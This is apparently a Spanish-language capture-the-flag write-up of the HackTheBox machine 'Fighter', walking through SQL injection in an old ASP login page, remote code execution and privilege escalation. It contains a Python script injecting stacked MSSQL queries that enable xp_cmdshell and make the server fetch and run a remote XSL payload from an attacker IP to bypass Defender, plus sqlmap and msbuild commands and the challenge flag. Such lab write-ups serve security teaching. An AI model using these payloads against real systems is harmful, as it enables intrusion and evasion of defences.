Power belongs to the people who take it

WriteUp – Fighter (HackTheBox)

En este post haremos la máquina Fighter de HackTheBox.
Es una maquina Windows bastante complicadilla pero muy intersante para aprender nuevas formas de sacar shell en windows.
Esta es una máquina que hice con varios miembros de mi equipo de htb y sin ellos no habría sido posible este writeup

Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -sC -sV 10.10.10.72


Solo tenemos el puerto 80 asi que vamos a echarle un ojo a la web.

Como leemos en el important announcement se esta desarrollando una web nueva, pero la antigua sigue funcionando, también tenemos el dominio streetfighterclub.htb vamos a buscar el antiguo portal.
Tras varias pruebas encontramos el subdominio members.streetfighterclub.htb. Para que nos funcione debemos añadir al /etc/hosts:

10.10.10.72     members.streetfighterclub.htb

Fuzzeando encontramos: http://members.streetfighterclub.htb/old/login.asp

Tras hacer fallarnos las credenciales típicas vamos a ver si hay sqli.
Capturamos la petición con BurpSuite y usamos el Active Scan:


Tras el Active Scan detectamos una SQLi time-based en el parametro logintype.
Al ser una time-based se tarda bastante en cada ejecución de sqlmap, os pongo por ejemplo cómo seria para obtener las bases de datos:

sqlmap -r request.txt --dbms=mssql --technique=B --level 5 --risk 3 -p logintype --dbs --threads=1 --time-sec=1 --batch --flush-session

Tras un buen rato sacando los datos de la base de datos, nos damos cuenta de que no hay nada que nos pueda servir para obtener RCE.
Vamos a intentar sacar RCE a traves de la SQLi: https://www.tarlogic.com/blog/red-team-tales-0x01/

Explotacion

Después de horas intentando sacar rce por este método sin existo, dimos con la clave para bypassear el defender: starfighter_xsl del empire de Luis Vacas (que por cierto os recomiendo que lo useis, teneis modulos adicionales muy interesantes)
Para esto vamos a hacernos un pequeño script de python que haga ejecute nuestro .xsl y obtener agente de empire:

from requests import *

params = {"username":"admin","password":"admin","B1":"LogIn","logintype":"1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xP_cmDshEll', 1;RECONFIGURE WITH OVERRIDE;drop table mojones;create table mojones (out varchar(8000));;insert into mojones (out) execute xp_CmdSheLl 'start wmic process get brief /format:\"http://10.10.14.7:443/wojo.xsl\"';EXEC sp_configure 'xP_cMdShelL', 0;RECONFIGURE WITH OVERRIDE;"}

resp = post("http://members.streetfighterclub.htb/old/verify.asp",data=params,allow_redirects=False,cookies={"ASPSESSIONIDCQQARTCC":"OJGJBAHDGMPKEHOFHCKLKDIG"})

Vamos a migrar el empire a metasploit: https://github.com/trustedsec/nps_payload (ejemplo de uso)

cd C:\Users\sqlserv
upload /tmp/msbuild_nps.xml msbuild_nps.xml
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml


Post-Explotacion

Revisando los ficheros del directorio C:\Windows me fije en el fichero capcom.sys y con una simple búsqueda vi que podría servirnos para escalar a system:

De primeras vemos que este exploit no nos funciona:

Tras leer el código vemos que debemos tener una sesion x64, para esto usaremos el módulo windows/local/payload_inject
Después editamos el código del exploit para que no haga comprobaciones comentado la función check_result

Cargamos de nuevo el módulo y ya nos funcionara:

edit
reload


Ya somos System pero esto aun no ha acabado, nos queda un pequeño reto de ingeniera inversa:

Vamos a abrir los ficheros con IDA PRO

Vemos que si la funcion check() devuelve 1, nos dará el flag

La funcion check() ejecutara XOR con 9 cada caracter de la variable aFmFeholH
Para reversear esto me hice un pequeño programa en C, aun que lo mas sencillo seria hacer patching

#include <stdio.h>

int main(int argc, char **argv) {
char aFmFeholH[15] = "Fm`fEhOl}h";
int v1;

	for (v1=0;v1<11;v1++)
		printf("%c",(*(int *) (aFmFeholH + v1) ^ 9));
	puts("");
	
return 0;
}

OdioLaFeta

¿Me ayudas a compatirlo?

1 comentario

  1. Jacco Straathof

    Great write-up, especially the empire starfighter part.
    With kind regards Jacco

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

© 2024 ironHackers

Tema por Anders NorenArriba ↑